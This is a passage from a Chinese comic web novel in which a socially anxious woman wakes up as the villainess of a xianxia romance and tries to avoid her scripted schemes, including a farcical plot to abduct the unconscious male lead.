《社恐,但搞到了仙界至尊》
1. 社恐穿书
“你找死!”
嚣张的字眼,猖狂的语调,仿佛下一刻就要去扒皮抽筋的咬字。
随着这一声怒喝从符窈口中蹦出,她的双眸突然从目眦欲裂转变成了惊愕!
刚、刚才是她在说话?
符窈瞪大双眼,不可置信地捂住了自己的脖子,声带使用带来的拉扯感似乎还在,可问题是……
她现在正被人给用剑指着啊!!!
那是一柄冒着寒气的剑,杀意万钧直抵她眉心,再往前一点,她就要被开瓢了!
救、救命!
这是个能放狠话的场合?
符窈呼吸一窒,汗毛炸起,头默默后仰,同时余光飞速扫向周边,预备备——
跑???
还未起步——
妈妈呀!好、好多人!
不看不知道,一看吓一跳,她被围在万人中央,所处的地方似乎是个高台,来自四面八方的视线齐齐汇聚在她身上,绝对的中心,绝对的焦点,绝对的……要社恐狗命!
呜呜呜……
符窈默默收缩,神经高度紧绷,如临大敌。
被这么多人同时看着,她跟裸奔有什么区别!
不、不要再看她了……
符窈几乎用尽了身上的每一个细胞祈祷。
“天呐,庄怜雪居然敢赢符窈,这下她可惨了。”
“可不,符窈早就放话对这次的魁首势在必得,这符大小姐圈好的地,也是她庄怜雪能抢的?等着吧,看符窈不整死她。”
“虚假的切磋已经结束,真正的硝烟即将升起,符窈必将成为庄怜雪一生的阴影!”
周遭的窃窃私语钻进符窈耳中,听得本就犹如惊弓之鸟的她,兜头又被一道惊天巨浪给砸蒙了。
他们这说的是她、她么?
符窈惊呆,即便思绪仍旧混沌着,也本能地意识到了不对。
虽然她被挑翻在地、浑身钝痛、风一吹头发还糊眼睛、形容可谓相当狼狈,但——
所有人都觉得优势仍然在她?
电光火石间,符窈似乎想起了什么,表情逐渐失控……
庄怜雪、切磋、阴影……几个关键词连成线,一个不祥的答案呼之欲出!
这不就是那本《不是傻白甜,是黑心莲》里的内容么?
书中女主庄怜雪所在的月清宫每年都会举办一次切磋大会,而恶毒女配是月清宫宫主的养女,性子被骄纵得十分跋扈还争强好胜,众人怕她落败后会报复,已经放水让其得了九届的魁首,今年是第十届。
多一事不如少一事,女主今年本来也想随大流一块放水,但她的金手指是预知梦,她通过梦境得知,修真界那位沉睡的至尊即将在一个月后苏醒,届时,第一仙府会为其准备一场空前绝后的归位大典,月清宫分到了两个名额,除了宫主之外,还可以带一个弟子前去参加。
宫主平日里行事公正,一般碰上什么难得的机会,都会让他们公平比试决出胜者,可这次,宫主竟然借口时间来不及,直接把这个名额作为奖励给了今年切磋大会的魁首,也就是恶毒女配。
恶毒女配要是真凭自身实力拿的魁首那也就罢了,可她偏偏不是,既如此,凭什么让恶毒女配捡漏?甚至还让她撞大运,在大典上入了仙尊法眼?
预知到这一切之后,女主心生不岔,于是不再放水,击败了恶毒女配,也就是眼下……
符窈颤颤抬眸看了看指着自己的这柄剑,又顺着剑看向执剑的粉衣少女,害怕与人对视,符窈透过乱发的缝隙飞快往对方脸上瞄上一眼就缩回了目光,可即便只是这短暂模糊的一眼,也已经足够她将面前的人和书中女主形象对上号了。
书中说,庄怜雪初入宗门只想告别不择手段的黑暗过去,常以一副清纯可人的无害形象示人,尤其她皮肤白皙,还爱穿粉色衣裳,那双清澈的大眼睛盈盈看人时,整个人就如同一朵清晨还沾着露水的粉白娇花,被她望着的人,几乎都会不由自主地心头一软。
当然,也有例外,那个例外就是恶毒女配。
由于两人都对男主势在必得,恶毒女配看见情敌,管她什么花,她就只想棘手摧花,于是她作妖,不停地作妖,生生让金盆洗手的女主破了戒,从而展开了一系列暴虐恶毒女配的爽文剧情。
女主:“真好,感觉又回到了从前做毒妇的时候。”
按照原书剧情,恶毒女配被女主击败后,接下来会恼羞成怒,不顾还在高台上,就直接当着众人的面疯狂羞辱女主,而这,也正是让女主忍无可忍开始收拾恶毒女配的标志性事件。
符窈如遭雷击,所、所以,她穿书了,还穿成了书中那个不停蹦跶着和女主作对最后惨死的恶毒女配?
甚至如今,她的狠话也已经放出去了,开弓没有回头箭,所有人都在等着她作威作福?
符窈撑地的手一软,眼前光影摇晃,只觉天塌了。
之前她搬新家后两个月没出门,热心邻居脑补了一通失意女青年在家当行尸走肉,最后硬是强拉着她出去参加了一次社区活动。
当时,她混迹在一群朝气蓬勃、拿着丝巾扇子各种变换阵型摆pose拍照的大妈中间,整个人尴尬得快要升天,每一分一秒都是煎熬,好不容易熬到尾声,大妈们却又把她给推了出去发表活动感言。
她手足无措地站在台上,一双双欣慰的眼睛看着她,仿佛即将见证一个被救赎后重新拥抱光明的新人类诞生……
那时候的她,心情也同现在一样——
救命!世界到底什么时候毁灭!
符窈内心小人跪地咣咣撞大墙,她不行,她真的不行,那次当众憋了半天感言之后,她的噩梦素材就添了一员大将,每到夜深人静,就会开始无情地率兵对她发起进攻,防不胜防,因这,她元气大伤整整萎靡了半个月,直到现在都心有余悸。
而这次,她居然要当众发癫?
符窈喘不上气,她感觉自己快死机了,光是想象一下那画面,能量条就“咻咻咻”地直往下掉。
庄怜雪收剑,眉头微蹙,眼前这人身子越压越低,几乎快要匍匐在地,不知道又在憋什么把戏。
一股浓浓的厌烦从庄怜雪心间升腾而起,就符窈那些个小伎俩,她早八百年就不用了,根本就没兴趣陪她在这过家家,奈何这人大抵是属苍蝇的,伤不了人她烦人,庄怜雪的耐心已经被符窈给磨得所剩无几。
符窈真要和她不死不休,那她奉陪便是!
庄怜雪眸光微扫,瞥见底下有人举着留影石,她心念一转,竟是忽然对符窈即将到来的报复开始期待了起来。
符窈不是自视甚高么,这么了不得的人,只窝在月清宫算什么本事,到时候她这输不起的模样也该让外边儿的人看看,看看她那副嘴脸,到底配不配代表月清宫的脸面……
庄怜雪从容上前,在符窈边上蹲下,拍了拍她的后背:“师姐?符师姐?”
是的,明明她比符窈年龄大,可就因为符窈比她先进宗门,她还得管人叫师姐。
庄怜雪心里怄得慌,想到不久的将来,符窈会因为与机会失之交臂而捶胸顿足,这才好受了些。
符窈大概还不知道吧,她今日若是不闹,凭她有个宫主爹,说不定事情到时候还有徇私的余地,但,可能么?
自她认识符窈起,这人就从来不知道忍耐为何物,鼠目寸光的蠢货!
“符师姐,比试已经结束了。”庄怜雪好心提醒她。
狠话放那么响亮,如今这前摇是不是有点过长了些?
又等了一会儿,符窈还是没反应,安静得就跟死了一样。
庄怜雪顿住,脸色忽然大变,几乎是立刻将符窈翻了个面儿,快速探向其灵台。
没有枯竭迹象……
庄怜雪提起的心落下,旋即大怒!
【庄怜雪:“好啊,好得很!如今耐性突涨,学会装晕来算计我了?
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”(崩坏值+4)】
……
“我不是!我没有!你胡说!”
符窈昏厥醒来后,发现脑子里凭空多出了个OOC检测仪,甚至上面已经有了一条她的OOC记录。
符窈要闹了,这是OOC记录么,这分明就是造谣实录!
“我明明是真的晕过去了……”
符窈小声嘟囔,大抵是想到真晕过去也不是什么值得骄傲的事,便只躺床上空踢了两脚,算是抗议。
检测仪上提示,崩坏值累计到一百会爆炸,现在她已经有四点了,天呐!
好吧,其实离解体还挺远的……
符窈撤回了一个哀嚎,继续安心刷她的灵犀镜。
灵犀镜是此界修士联络用的一种灵器,上面有很多功能和手机类似,符窈适应良好刷得可溜,没一会儿就摸到了月清宫冲浪儿的聚集地,让她来看看大家都在讨论什么?
糟糕!打眼望去尽看见自己名字了!
符窈紧急捂眼,不要看,肯定是恶评。
忍了一会儿实在好奇,符窈张开指缝,唔……她只看一点点。
大家好像都在讨论她和女主庄怜雪的事,什么!她居然是女主亲自护送回屋的?
上面爆料说,庄怜雪一直守到医师过来,反复同医师确认了她没有受内伤,而是忘记了呼吸之后才离开。
符窈:“……”
看出来了,女主是真的怕被她碰瓷上,不过……忘记呼吸是什么鬼!
她难道不是自然晕的么,怎么会是忘记呼吸!
啊啊啊啊啊世上还有比这更丢人的晕法么?这简直和她玩种田小游戏猝死有得一拼,符窈拒绝认领。
可……拒绝无效,底下已经笑成一片了……
符窈羞愤拱进被子,在里头翻转、抓挠、蛄蛹、踢蹬,呜呜呜……早知道她就不看了。
然而——
【月清宫瓜田猹们:“笑死我了,符霸王不会是被吓得忘记呼吸吧?”(崩坏值+2)】
符窈:“!!!”
不是,你们吃个瓜,怎么还拿她生命开玩笑!
符窈生气了,她现在有六点了,天呐——
好吧,六点也不是很多,她还能苟……
如此宅屋子里苟过三天,崩坏值也没有增加,相貌明艳的少女微笑露出了一颗小虎牙,看吧,她就说她能苟。
符窈现在发现,自己刚穿来那会儿被一个恶毒女配剧本吓着,完全就是因为思维没转换过来。
谁说穿书就一定要走剧情的?谁说穿成恶毒女配就一定要作死的?她就这么快快乐乐当镇宅仙人不也一样什么事都没有?
【月清宫吃不到瓜的猹们:“什么情况?符霸王这次卷土重来的间隔好像有点长啊,没她掀风搅雨,这日子真是跟死水一样,一点热闹都没得看。”(崩坏值+3)】
“……”
微笑暂停。
符窈开始指指点点,看看,先前三天作一小死、七天作一大死给你们惯的,成瘾了都!
她穿越的时间不好,女主现在完全就是个已经装填完火药的大炮,她再去作妖,那不是等着被炮轰么?
恶毒女配的命也是命,她还要的!
符窈面色凝重,看来帮你们戒瓜是刻不容缓了。
怎么戒?
她往后一倒,无痛躺平,唔……种瓜人罢工就行了。
论掌握主动权的重要性!
让她来看看现在崩坏值几点了,嗯,九点……
没事,个位数而已,问题不大。
符窈再度扬起微笑,她现在是富二代,不用劳动吃喝不愁,美好的生活在向她招手,继续苟下去,只要不和女主抢男人,她的未来一定是——
放在枕边的灵犀镜忽然亮了一下。
[一剑封喉]:在吗?你日思夜想的那个男人现在在我手里,我给你送床上去?
!!!!!
2. 她恶毒女配要逆天苟命!
修真界的快递这么猛么,连男人也能送?
符窈的微笑僵在脸上,紧接着一个尖叫从床上弹了起来。
你你你……你不要过来啊!!!
“她”日思夜想的那个男人……那不就是男主么?!
男主她也敢弄上床,不要命啦!
怎么办怎么办,符窈急得团团转。
她穿的这书女主不是善茬,男主也不是啊!原书里,女主狠起心来连男主都杀,男主黑化虐起女主来也没手软,两人高手过招、爱恨交织、酸涩缠绵、刀光剑影,她恶毒女配搁中间算哪根葱啊!
符窈想象了一下自己被男女主混合双打的场面,那酸爽……
“嗬——”
符窈倒抽一口凉气,不行不行,她恶毒女配是要逆天苟命的,这“快递”打死也不能收。
符窈捧起灵犀镜,开始紧急组织语言。
[扶摇直上]:我现在不太方便……
删掉。
这个理由不太好,万一对方追问她为什么不方便呢?说越多暴露得就越多,还是直接一点,一句话结束战斗吧。
[扶摇直上]:我身体不太舒服,所以……
等等,这个好像……也不行,万一对方说,没事,男人又不会坏,你可以存着慢慢玩呢?那她岂不是把自己给堵死胡同里了?
删掉删掉。
符窈继续冥思苦想。
[一剑封喉]:怎么不回消息?算了,我已经在路上了,你准备一下。
符窈:“!!!!!”
在路上了?这么快!
符窈急了,这下她真急了,还让她准备,准备什么?准备上西天么!
顾不上再斟酌词句,符窈噼里啪啦:你别过来,我不喜欢送上门的男人!
不管三七二十一发出去,符窈盯紧灵犀镜,心脏咚咚咚地几乎快要跳出来。
然而——
一刻钟过去……
两刻钟过去……
三刻钟过去……
符窈红温的脸都冷却了,对面还是一点回应都没有。
“为什么不回消息?为什么为什么!”
她开始在床上翻滚,没一会儿,又一骨碌爬起抱着灵犀镜,痛心疾首:“你该不会是忙着赶路没看见吧?”
送货上门还包邮,这么善?
符窈感动哭了,她开始收拾行李。
再见了,今晚她就要去远航。
只要她跑得够快,男主就一定能独守空房!
冲啊!逃出生天!
符窈跳下床,库库往储物袋里头塞东西。
而就在这时,一直没有动静的灵犀镜却亮了。
符窈呼吸一滞,赶紧闪身过去,捞起来一看——
[一剑封喉]:来不了了,路上遇见了怜雪……
[一剑封喉]:真是见鬼,我为了抄近路,走的都是犄角旮旯地,这都能碰上我服了,谁家月老红线牵得这么牢!
[一剑封喉]:你老实交代,我上次让你去秃子那求姻缘,你是不是偷懒了没去?
……
对面发了一通的牢骚,对没成功把男主送她手里糟蹋这件事,可谓是怨念深重……
符窈仰头望天,这年头,这么有使命感的快递员不多见了,是谁来着?
对照原书剧情搜罗一圈,符窈很快得出了答案。
一剑封喉……封池?书里那个本体为蛟、喜欢女主而不得、然后阴暗爬行联合恶毒女配一块暗戳戳搞事情,最后在化龙前夕被女主击杀拿去淬剑的炮灰男配?
符窈唏嘘了一番他的悲惨结局,可转念一想,却又觉得不意外,就他那个往死里作的劲,那能不死吗?女主可是有——
符窈顿住,目光突然惊恐。
要命了,女主她有能够预知未来的金手指!
她肯定是预知到封池要做的事情才跑去拦截的啊!!!
符窈人麻了……
好消息:“快递”物归原主了。
坏消息:她和封池暗中勾结的事情暴露了!
啊啊啊啊啊,人在家中坐,祸从天上来!
符窈仿佛被一箭射中了膝盖,站立不稳,踉跄栽向柱子。
完了,她完了,这下她跳进黄河也洗不清了。
过去发生的事情或许还能掰扯,可这未来的事情她要怎么……
符窈抱紧柱子,脸都压变了形,却仍旧怎么想都无解,一整个泪目了。
超纲,这题它超纲啊!
……
绝情谷。
庄怜雪远远地朝封池挥了挥手:“阿池,我在那边找到了一处安全的地方,你在这守着师兄,我先去收拾。”
“诶——”封池伸手想要阻止,可没等他出声,人就已经跑得只剩个点儿了。
“照顾师兄这么积极……”
封池嘟囔着把手放下,垂眸看见脚边那个昏迷不醒的人,抬腿就是一脚。
“当初捡到你的时候我就该补上一刀!”
他阴沉沉地看着地上之人,心中越发不爽,咬牙切齿:“在这都能碰上怜雪,算你小子运气好,但是——”
人不可能永远运气好!
封池再度掏出灵犀镜。
[一剑封喉]:你说得没错,送上门的,确实没有自己抢的香。
[一剑封喉]:我们现在在绝情谷,你来抢吧,其他的我来搞定。
[一剑封喉]:岁寒伤得还挺重的,快!趁他现在不省人事,你抢回去想怎么摆弄都行,到时候生米煮成熟饭,你再把事情闹大,他还能不认?
封池对着符窈又献策了一通,而本该激动不已的人,却……回了他沉默?
封池:“???”
[一剑封喉]:心想事成的机会就在眼前,你出门了没有?到哪了?
[一剑封喉]:回消息!
唱了一出独角戏,封池蹙眉,总觉得哪里好像不太对劲,可不待他细想,庄怜雪已经去而复返。
她一路小跑过来,额上还冒出了几滴晶莹的汗珠,最后俏生生停在他面前,边擦汗边道:“阿池,那边我收拾好了,你帮我把师兄抱过去好不好?”
封池嘴角微动,不是很情愿。
庄怜雪又捏着他的袖子晃了晃:“此处虫蚁众多,师兄躺在这里会被虫咬的。”
他还管这个?封池恶狠狠地想着,被虫咬成猪头那才好呢,怜雪喜欢岁寒不就是因为这张脸么,毁了正合他意。
他张口便想要拒绝,可当他对上庄怜雪那双水盈盈的眼睛,心中却突然一涩,已经到嘴边的话,几番挣扎,到底是化作了一声叹息。
罢了,就这一次。
封池认命上前,平静地将男人胳膊搭上自己的肩,平静地用另一只手从男人膝盖下穿过,平静地……他平静个鬼!
硬着头皮将人抱起,岁寒的呼吸甚至就在他颈边!
封池:“……”
崩溃、恶心、想吐……
啊啊啊啊啊他脏了,符窈你欠我的拿什么还!把你男人端走啊!
天杀的,他这会儿总算是想起哪里不对劲了,符窈对岁寒的痴狂劲去哪了?这男人都被情敌截走了,她是怎么坐得住的!!!
然而——
符窈不仅坐得住,她还睡了。
灵犀镜早已被她扔到了床尾,用被子埋得死死的。
“我连超市的打折鸡蛋都没有抢过,抢抢抢……抢什么男人……”
符窈喃喃呓语,正在进行中的噩梦却是风云变幻。
正当她梦到男主抓着她疯狂摇晃并嘶吼着“还我清白!”时,瑟瑟发抖的她,忽然收到了一张死亡通知书。
【温馨提示:您的崩坏程度已达99%,请做好爆炸准备。】
符窈:“!!!”
噩梦还能入侵现实?
垂死梦中惊坐起,符窈慌张查看详情,只见——
【封池:“人呢!人呢!!抢男人都不积极,符窈你是被人给夺舍了吗!!!”(崩坏值+90)】
符窈:“……”
原来是有刺客。
她看着自己已经飙升到99的崩坏值,突然笑了一下。
人呢,最重要的就是得沉住气,没看么,那宫斗剧里,人一格电也能撑很久呢。
没事……没事……
符窈倔强躺下,往后,就是见证奇迹——
奇迹个鬼啊!往后就是她如履薄冰的一生!
啊啊啊啊啊啊,符窈暴躁弹起,飞扑至床尾挖她的灵犀镜。
……
月西沉,绝情谷中虫鸣渐消。
封池蹲在溪边,用水使劲地搓自己的手,洗了一遍又一遍,越洗越破防。
事情怎么就发展到了这一步!天地那么大,岁寒不省人事却偏偏被他捡到,这分明就是天意,可最后怎么就……怎么就变成他亲自把情敌送到了怜雪手里?
他现在几乎都能够想到,等岁寒那厮醒了知道是怜雪悉心照顾的他会有多么感动。
该死!
封池抓起一把石子摔进水里,心里直冒酸水。
有的人,什么都不需要做,光是出现就赢了,而有的人,费尽
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了心思,还……
封池再度破了个大防。
那般在意的神色,怜雪从来没有对他流露过,他得不到的东西,岁寒凭什么得到!
符窈呢?关键时刻掉链子,他要这同盟有什么用!
掏出灵犀镜,封池对着符窈又是一通输出,而这次,那边终于有了回应。
洗完手回来,封池眉头舒展,心情明显好了不少,以至于当他走到安顿情敌的树下时,都忘记了掩饰。
猛然对上庄怜雪打量的目光,封池身形僵住,糟糕,他好像幸灾乐祸得太明显了,该不会是被怜雪给看出来了吧?
封池心脏砰砰跳,强忍着心虚问道:“怎么这般看我,我脸上有什么东西么?”
说罢,他抬手往自己脸上摸了一把,像极了在疑惑。
庄怜雪绽笑,声音略带了些俏皮:“没什么啦,你去那么久,我还以为你掉水里了呢。”
“我怎么可能掉水里。”封池咕哝了句,心中却悄悄松了口气,没看出来就好。
不过,怜雪照顾着岁寒,却还能对他笑,这是不是说明……岁寒在她心里,其实也没有他想象的那般重要?
封池找了个地儿背靠树坐下,斜眼瞥见怜雪跪坐着帮岁寒处理伤口,一时间心里竟也没那么难受了。
说到底,这人也只不过是个替身罢了,仗着与怜雪已经身故的竹马有几分相似,才一而再再而三地牵动怜雪心神。
但替身就是替身,即使再像,也终究不是故人。
也许怜雪现在还在把对故人的思念当做是对岁寒的喜欢,但是没关系,他会帮她认清的……
封池出神间,庄怜雪背对着他,娇俏的笑容不再,满目冰霜。
笑那么开心,怎么,是终于把符窈给招来了?
平日里没注意他,倒是不知他什么时候跟符窈勾结上了,今日还意图帮着符窈,把昏迷的岁寒送去她床上!
如今被她截住,竟然还不死心,又把符窈招来想做什么?
庄怜雪胸口起伏,只是现在却不是收拾封池的最佳时机,她缓缓摩挲佛珠手串,平复着心中戾气,思绪很快又清明了起来。
封池可以养肥了再宰,符窈却是无需再忍了。
不用猜也知道,两个蠢货凑一块,能谋划出什么惊天大计,无外乎是想抢人罢了,怕是现在还做着那事后逼人就范的美梦呢。
既如此,那她不如将计就计成全符窈……
想到这,庄怜雪唇角微勾,估摸了一下符窈从月清宫到这的时间,她趁着封池不注意,快速往岁寒嘴里塞了一颗药。
这是颗上品灵药,无论受了多重的伤,只要还活着都能在两个时辰内恢复如初,符窈不是想算计赖上岁寒么,这么精彩的场面,不让岁寒中途醒来亲眼见证一下岂不是可惜?
说起来,岁寒出身的岁氏,也是修真界的大族了,势力跟月清宫比起来,倒也有几分旗鼓相当,到时追究起来,也不知宫主还保不保得下符窈,想想还真是令人期待呢……
几刻钟后,边上的封池开始频繁变换起了坐姿,没一会儿他转头:“怜雪,要不你休息睡会儿,我来守夜就行。”
庄怜雪心中讥笑,看这样子,应该是符窈快到了吧……
她定定看了眼封池,放松靠向树干,没有拒绝:“好啊,那辛苦你了。”
“不辛苦……”封池视线飘忽,有点心虚,不过看见怜雪当真闭眼睡了,他又不由得心中一喜,他就说人不可能一直倒霉,瞧瞧,这不就开始顺利了?
只等符窈过来……
哈哈哈哈哈哈!
封池内心狂笑。
接着,又几刻钟过去,岁寒被符窈抢走了吗?
没有……
风平浪静。
庄怜雪心中一惊,难道是她猜错了?封池和符窈密谋的不是这个?
她不由睁眼往封池的方向看了去,只见他侧着身子,边上漏出了些微光,似乎是在摆弄灵犀镜,间或还伴随着他磨牙的咯吱声。
庄怜雪转眸,随即了然。
应该是发生什么事情耽搁了吧。
不过,依符窈的急性子,就算耽搁也耽搁不了多久,现在再怎么也应该在路上了……
庄怜雪掐指微算,索性距离岁寒醒来还有一个时辰,只要在岁寒醒来之前把他抢走就行,不过就是再等等,符窈还能翻出她的手掌心?
庄怜雪靠回树干,再次闭上眼睛。
做猎人呢,最重要的就是耐心,悄悄地、静静地看着猎物一无所觉地掉入陷阱,这才令人兴奋不是么?
然而……
3. 这死她必不能作!
符窈给封池画了一串“马上就到”的大饼,将人稳住后,又开始了新一轮紧张的拖延。
是的,她还没有出门。
符窈面前堆了一堆的炼器材料,此刻,正抱着一本《基础炼器大全》翻翻翻,边翻边抖腿。
呜呜呜好紧张。
第一次去抢男人,她真的好紧张。
抢男人要准备些什么来着?书里的器物种类有数万种,看得符窈眼花缭乱,挑不出来,根本挑不出来……
又两刻钟过去,自学进度:零。
符窈举头望天,宽泪两行。
躯体的她想放弃了,但是精神上的她……怕死得不得了!
这才落地三天,她难道就要升天成蘑菇云了?
修真界的美食她还没有一一尝过,御剑自由飞翔的感觉她也没有悄悄体会过,甚至连月清宫外面的新世界到底是个什么样子,她都没有暗中观察过!
不!她绝不能就这样狗带!打起精神,振作点啊!
“哒哒哒哒哒……”抖腿加速。
如今,这死是非作不可了,但是……她不一定要作个真死,她可以作个假死啊!
符窈眼睛蹭地一亮。
对吧,人要变通一点,她完全可以抢了之后再“意外”放生嘛。
砍掉后续的羞耻环节,符窈松了口气,这样,就感觉轻松多了。
现在,她只需要把人劫走就行了,这不就跟绑匪差不多么,她看过警匪片,这个她知道的。
首先,她需要点作案工具,其次,她需要制定几套撤退方案,再次……
最后,绝情谷要怎么去,她还得做下攻略。
啊!好多事情啊。
留给她的时间不多了,符窈深吸了一口气,没关系,一件一件来。
社恐多年,相比起临到头了要用什么东西发现自己没有而去向人求助,她反倒宁愿在出门之前多些准备,就算繁琐、就算到时候用不到也没有关系,有备无患嘛。
而且,稳住封池后,她的崩坏值又降了十个点,她现在已经不是只剩一格电的人了!
符窈直起腰杆胸脯往前一挺,骄傲~
没一会儿,屋内便响起了乒乒乓乓的声音,热火朝天。
而同一时空,绝情谷。
封池和庄怜雪双目无神,一个催得没了脾气,一个……等麻了。
“唔……”
伴随着清晨第一缕阳光的洒落,旁边失去机能的某位昏迷人士拔地而起。
嗯,五经八脉齐受损,本来需要半个月才能勉强自愈的男人,不到一个晚上,容光焕发,醒了……
!!!
封池震惊不已,两只眼睛瞪得像铜铃,唰地转头看向了庄怜雪,什么情况?你不是说没带药,岁寒又伤太重,不宜长时间移动才在这过夜,等天亮了再去买药的么?
“……”
庄怜雪面目产生了一瞬的扭曲,她也想知道是什么情况,符窈人呢!
在她的计划里,符窈本该趁她“不注意”将岁寒掳去,然后岁寒提前醒来撞破符窈的图谋不轨,可是现在……
庄怜雪咬牙切齿!
【庄怜雪:“符窈什么时候转性了,这么好的机会她竟然不来?”(崩坏值+5)】
嘤嘤嘤……
符窈默默在不远处的树后面挠树皮。
来了,她来了,刚刚……
“你们怎么会在这?”岁寒出声问道。
符窈刚探出去的一只脚又缩了回去,转而歪头露出两只狐狸似的大眼睛,唔……稍安勿动,她先观察一下。
晨光透过树叶的缝隙挥洒而下,身穿青墨长袍的男子五官清俊,面色红润,跟他比起来,封池和庄怜雪一个眼底青黑,一个面色颓败,就跟蔫了似的,不知道的还以为是被岁寒给吸干了精气。
符窈眼睛眨巴眨巴,诶?
原书中,这段剧情因为女配行动前的臆想内容太过炸裂,她怕自己替人尴尬受不了就跳了过去没看,只知道事后女配被关去了禁地,这会儿置身现场,她怎么感觉好像有诈的样子?
符窈挠了挠头,嗯……再看看。
只见庄怜雪愣神过后忽然扬起了笑脸,站起来甚至顾不上整理自己发皱的裙摆,惊喜道:“师兄你醒啦!”
身着粉白衣裙的少女仰头望着岁寒,眸中的喜悦溢于言表,简单纯洁的模样,像极了枝头新生出来的花骨朵。
“是你救的我?”岁寒问。
少女娇羞底下头,似是不好意思与他对视,右脚的脚尖无所适从地轻撵起了地面,没有否认。
可……庄怜雪她不是一个人!
旁边的封池一听就不干了:“你搞清楚,是我救的你好么!知道我在不归城外捡到你,一路往回扛到这废了多大功夫么?”
符窈嘴角抽了抽,心想你个棒槌,你那是想救男主么,你分明是想送快递!
果不其然,庄怜雪听到这话后,脸色僵了一瞬,但很快,她便又调整好了表情,微笑解释道:“我恰好在这遇见了阿池,见师兄伤口结痂的伤口又裂开流血,我便想着——”
庄怜雪话还没说完,岁寒便直接打断对封池郑重表达了感谢,至于庄怜雪,岁寒却只是轻飘飘地道了一句辛苦。
符窈:来了,已经黑化的男主对女主的付出视而不见!
果然,在女主手里死过一回的男人心就是硬。
庄怜雪这会儿明显有些委屈了起来,眼角泛红:“师兄,你是不是……讨厌我?”
岁寒定定看了她一会儿,忽而轻笑目视远方,状似不经意道:“我只是觉得你好像在通过我补偿另一个人。”
“怎么,我和谁长得很像么?”岁寒又转头看向庄怜雪,玩笑似问。
庄怜雪讪笑:“怎、怎么会?”
不知道是有意还是无意,封池眼骨碌一转忽然惊讶道:“我想起来了,大师兄不是和你从小一块长大的那个大哥哥很像么,我之前还在你那看到过画像,当时我猛地一瞧,还以为就是大师兄呢。”
空气突然寂静。
哦豁。
符窈敢保证,庄怜雪这会儿绝对想撕烂封池嘴的心都有了。
岁寒意味不明笑了一声,转身欲走。
符窈看得直摇头,庄怜雪把岁寒当替身,却不知岁寒内里其实就是她亏欠的那个正主,眼下,这妥妥就是岁寒在利用信息差虐女主啊。
庄怜雪见状连忙拉住岁寒的袖子,急急解释道:“在我眼里,师兄和那人是不一样的。”
“不一样?”岁寒停步,却没有转头看她,声音顿了顿,似有些阻塞:“这么说,你没有亏欠那人?”
庄怜雪短暂陷入到了回忆之中,眉宇间似有愧疚在翻涌,但很快,所有的情绪就如雪落无痕一般被掩盖了。
“没有。”她说。
符窈叹了口气,完了完了,这回答完全就是在火上浇油啊。
听到这个回答,岁寒肩膀轻颤笑出了声来,声音清冷:“也是,小师妹这么善良,怎么可能会做亏心事?”
说罢,他便将袖子用力从庄怜雪手里抽了出来。
庄怜雪慌了神,不明白为什么她解释了岁寒还是对她这般冷淡,又小
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跑几步拦住了他,关心道:“师兄你伤刚好,还是我御剑带你吧。”
“不必。”岁寒冷着脸拒绝,“我有人带。”
有人?谁啊?
符窈四处张望,再回头时,却和岁寒的视线撞了个正着。
符窈:“!!!”
她、她吗?
不是,他什么时候发现她的?
符窈嗖地一下把头缩了回去,一脸懵。
岁寒:“都看这么久了,还不出来?”
符窈心中小人嚎啕大哭,哇啊啊啊啊吃瓜的快乐没有了……
磨磨蹭蹭了好一会儿,符窈才不情不愿地从树后挪了出来,瞄了岁寒一眼又飞速垂下了眸子,心情复杂,她可是来绑架的,怎么还有人自投罗网?
走了几步,符窈直线升温,动作越发迟缓。
求求了,不要再盯着她看了,快、快要不会走路了……
三道视线集中在她身上,符窈每走一步都感觉自己四肢在退化,手紧张得没处放,一会儿摸头发,一会儿摸腰间的储物袋。
突然,“哗啦!”
被物品撑满的储物袋不堪挤压,“呕吐”似的吐出来了一张网,那网还挺大,一看就是能兜人的。
!!!
救命,这玩意儿怎么掉出来了!
符窈看见心跳都快要骤停了,眼疾手快连忙弯腰去捡,她记得这网可以缩小,有个口诀是什么来着?符窈急得出汗,奈何越着急脑子就越是空白,没办法,只好抓着一大坨库库往储物袋里面塞。
然而储物袋本就不堪重负,这一塞,又咣当掉出来了一堆其他东西。
啊啊啊啊啊啊!
符窈心中疯狂尖叫,硬生生练成了无影手。
她的“手铐”、她的“消音神器”、她的“皮鞭”……
符窈嗖嗖一顿捡,捡到最后,终于捡干净了,她抬臂抹了把汗,真是一场大汗淋漓的抢险。
只是,储物袋被她边捡边塞,塞到还剩下最后一件时,却是已经到了稳态即将再度崩开的危险边缘,她不敢再轻举妄动,只好把东西给抓在了手里。
“你拿的那、那是什么?”岁寒的声音听着不太淡定。
符窈愣了下,低头看自己手里的东西,这个是……
这个是千骨钉来着,但磨着磨着她发现这玩意儿太耗时间,只磨了个头就放弃了,现在还剩儿臂粗……
!!!
符窈倏地抬头,不是!不是你们想的那个东西!
几人瞳孔地震愈演愈烈,拉不回,根本拉不回。
符窈奋力摆手,急得都朝地震中心的岁寒说了句囫囵话:“我、我不是要拿这个捅你!”
此话一出,仿佛连风都静了。
岁寒菊花一紧,默默往后退了好几步。
符窈:“!!!”
一世英名尽毁!
“我——”她还想再解释。
【庄怜雪:“本以为已经探到了符窈的下限,不曾想原还是我见识太短,符窈她、她根本没有下限!”(崩坏值-9)】
【封池:“啧啧啧,要说猛还得是符姐啊,瞧瞧着这又是网、又是铐、又是鞭子,又是……那么大一尺寸的那啥,怪不得筹备了那么久才过来,这分明就是准备把岁寒绑了往死里玩啊!”(崩坏值-80)】
崩坏值竟然跌回个位数了!
“啪!”符窈一巴掌紧紧捂住了自己的嘴。
没、没错!
她,恶毒女配,就是这般丧心病狂、没有下限的生猛女子!
呜呜呜就问你们怕不怕吧。
4. 恶毒女配要崛起?
岁寒到底是没让符窈带。
符窈如释重负,真是万幸,她都不敢想象自己要是带着岁寒,这一路上会有多尴尬。
再加上,她其实才刚学会御剑……
万幸加倍!
岁寒放弃让她带真是一个明智的决定!
不过,她计划都已经破产了,为什么要跟着一块走?
庄怜雪带着岁寒走在了前面,后边的封池御剑悬停在她前头,一个劲地使眼色让她上。
符窈……符窈默默后退了一步。
封池:“???”
符窈视线闪躲,不、不是我不信任你,我只是……
好吧,她就是不信任他。
她现在看着封池的剑,就总有一种……一旦她上了,上的就不是剑,而是贼船了的感觉,这心怪慌的。
【封池:“符大小姐最近怎么回事,我怎么感觉——”】
后退暂停,符窈一个助跑冲上了贼船!
从前崩坏值是个位数的时候,她没有好好珍惜,现在,她只想做个明知山有虎偏向虎山行的狠人。
符窈眼含热泪,真的,绝不是因为她怕了封池。
走吧?走吧!走吧。
符窈在心里演练了几遍语气,这才小心出声:“走、走吧。”
